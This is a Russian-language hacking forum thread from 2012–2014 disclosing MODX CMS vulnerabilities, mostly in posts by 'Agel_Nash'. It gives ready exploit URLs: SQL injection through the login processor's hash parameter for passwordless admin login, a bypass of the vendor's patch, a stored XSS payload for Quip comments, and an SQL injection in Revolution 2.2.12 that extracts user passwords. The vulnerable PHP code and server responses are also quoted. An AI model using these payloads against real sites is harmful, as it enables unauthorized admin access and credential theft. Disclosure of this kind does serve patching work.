Старый 27.11.2012, 06:13   #11
Agel_Nash
 
Аватар для Agel_Nash
 
Регистрация: 24.07.2012
Сообщений: 30
Репутация: 18
По умолчанию

Авторизация в админке без пароля
Уязвимость запряталась в плагине Forgot Manager Login < 1.1.4 (патч выпущен пару часов назад) для MODX Evolution и его форков. Данный плагин ставится по умолчанию в стандартной сборке.
Автор: Agel_Nash
Пример эксплуатации
Цитата:
http://example.com/manager/processors/login.processor.php?hash='+UNION+SELECT+1,1,1,'1&u sername=ADMINLOGIN
Проблемный участок кода

PHP код:
function getUser($user_id=false$username=''$email=''$hash='') {
...
$emaail $modx->db->escape($hash);
...
if(!empty(
$hash)) { $wheres[] = "MD5(CONCAT(usr.username,usr.password,'{$site_id}','{$today}')) = '{$hash}'"; }
....
if(
$wheres) {
$where ' WHERE '.implode(' AND ',$wheres);
$sql "SELECT usr.id, usr.username, attr.email, MD5(CONCAT(usr.username,usr.password,'{$site_id}','{$today}')) AS hash FROM `{$pre}manager_users` usr INNER JOIN `{$pre}user_attributes` attr ON usr.id = attr.internalKey
{$where} LIMIT 1;"
Из процессора вызывается событие на которое навешивается уязвимый плагин. Вот исходник всего плагина, а вот исходник процессора.
__________________
Я - вильгельм заколебатель

Последний раз редактировалось Agel_Nash; 28.11.2012 в 23:19.. Причина: ачепятки
Agel_Nash вне форума   Ответить с цитированием
Старый 29.11.2012, 09:12   #12
Agel_Nash
 
Аватар для Agel_Nash
 
Регистрация: 24.07.2012
Сообщений: 30
Репутация: 18
По умолчанию

В продолжении предыдущей уязвимости. Патч выпущеный разработчиками не защищает должным образом от проникновения в админку без пароля. Обойти можно вот так
Цитата:
manager/processors/login.processor.php?hash[]=&username=admin
Проблемный участок кода
PHP код:
$hash = (empty($_GET['hash']) ? false $_GET['hash']);
......
if(!empty(
$hash)) { $wheres[] = "MD5(CONCAT(usr.username,usr.password,'{$site_id}','{$today}')) = '{$hash}'"; } 
__________________
Я - вильгельм заколебатель
Agel_Nash вне форума   Ответить с цитированием
Старый 17.03.2013, 00:11   #13
Agel_Nash
 
Аватар для Agel_Nash
 
Регистрация: 24.07.2012
Сообщений: 30
Репутация: 18
По умолчанию

Активная XSS в комментариях Quip
Необходимые условия: разрешен хотя бы 1 HTML тег. Пример эксплуатации банален
Цитата:
<b onclick="alert(1);">XSS</b>
P.S. Quip это комментарии для ветки MODX Revolution. По умолчанию разрешены теги <b><i><br>
__________________
Я - вильгельм заколебатель

Последний раз редактировалось Agel_Nash; 17.03.2013 в 00:34..
Agel_Nash вне форума   Ответить с цитированием
Старый 05.03.2014, 21:16   #14
Agel_Nash
 
Аватар для Agel_Nash
 
Регистрация: 24.07.2012
Сообщений: 30
Репутация: 18
По умолчанию

SQL injection в MODX Revolution 2.2.12 (only)
Пример SQL-injection без вывода
Код HTML:
http://example.com/connectors/resource/index.php?ctx[rank`+IN+(666)+UNION+SELECT+id,username,password+FROM+modx_users+WHERE+id+IN(1);/*]=fuckyoumodxrevolutionagain2
С ответом
Код HTML:
{"success":false,"message":"\u0414\u043e\u0441\u0442\u0443\u043f \u0437\u0430\u043a\u0440\u044b\u0442.","total":0,"data":[],"object":{"code":401}}
Если пользователь с id 1 не существует, то в ответ будет получено
Код HTML:
{"success":false,"code":401}
Возможно внедрение Insert запроса. Пример сплоита: https://gist.github.com/AgelxNash/9365028
__________________
Я - вильгельм заколебатель
Agel_Nash вне форума   Ответить с цитированием
Старый 09.03.2014, 04:09   #15
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

sql-инъекция в сессии
http://forums.modx.com/thread/89486/modx-revolution-2-x-sql-injection#dis-post-492046
12309 вне форума   Ответить с цитированием
Старый 09.03.2014, 11:37   #16
Agel_Nash
 
Аватар для Agel_Nash
 
Регистрация: 24.07.2012
Сообщений: 30
Репутация: 18
По умолчанию

Цитата:
Сообщение от 12309 Посмотреть сообщение
sql-инъекция в сессии
http://forums.modx.com/thread/89486/modx-revolution-2-x-sql-injection#dis-post-492046
Вообще-то, эта та же самая уязвимость о которой я выше писал
__________________
Я - вильгельм заколебатель
Agel_Nash вне форума   Ответить с цитированием
Старый 10.03.2014, 00:43   #17
RenderAss
 
Регистрация: 05.09.2013
Сообщений: 10
Репутация: -1
По умолчанию

Agel_Nash, сплойт как я понял с защитой от дурака?
RenderAss вне форума   Ответить с цитированием
Старый 10.03.2014, 00:55   #18
Agel_Nash
 
Аватар для Agel_Nash
 
Регистрация: 24.07.2012
Сообщений: 30
Репутация: 18
По умолчанию

Цитата:
Сообщение от RenderAss Посмотреть сообщение
Agel_Nash, сплойт как я понял с защитой от дурака?
Да, там сломана парочка последних условий
__________________
Я - вильгельм заколебатель
Agel_Nash вне форума   Ответить с цитированием
Старый 10.03.2014, 08:09   #19
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

Цитата:
Сообщение от Agel_Nash Посмотреть сообщение
Вообще-то, эта та же самая уязвимость о которой я выше писал
почему тогда по ссылке написано Versions: 2.0.0–2.2.12 ?
уязвимость не разбирал.
12309 вне форума   Ответить с цитированием
Старый 10.03.2014, 12:55   #20
Agel_Nash
 
Аватар для Agel_Nash
 
Регистрация: 24.07.2012
Сообщений: 30
Репутация: 18
По умолчанию

Цитата:
Сообщение от 12309 Посмотреть сообщение
почему тогда по ссылке написано Versions: 2.0.0–2.2.12 ?
уязвимость не разбирал.
Потому, что по ссылке пофиксили только проблему с подменой контекста. А сама SQL-injection осталась на месте. Т.е. пока еще скулю можно выполнить, но нужно искать точку входа.
__________________
Я - вильгельм заколебатель
Agel_Nash вне форума   Ответить с цитированием
Ответ

Метки
lfi, modx

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot